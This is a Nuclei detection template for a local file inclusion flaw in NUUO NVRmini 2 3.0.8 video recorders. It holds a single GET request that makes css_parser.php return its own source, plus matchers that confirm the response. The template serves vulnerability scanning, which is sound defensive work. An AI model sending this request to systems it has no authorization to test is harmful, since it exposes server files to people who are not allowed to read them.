id: nuuo-file-inclusion

info:
  name: NUUO NVRmini 2 3.0.8 - Local File Inclusion
  author: princechaddha
  severity: high
  description: NUUO NVRmini 2 3.0.8 is vulnerable to local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/40211
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: lfi,edb,nuuo

http:
  - method: GET
    path:
      - "{{BaseURL}}/css_parser.php?css=css_parser.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "$_GET['css']"

      - type: word
        part: header
        words:
          - "text/css"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008d05c7c34320ba4bef36b28cf2f31e01573c3e0ca23d5efd8028a70d9a59e004022100ca5863d86a7687cec20232d5588065e3e0dfbf289e2220c329913a17a7395284:922c64590222798bb761d5b6d8e72950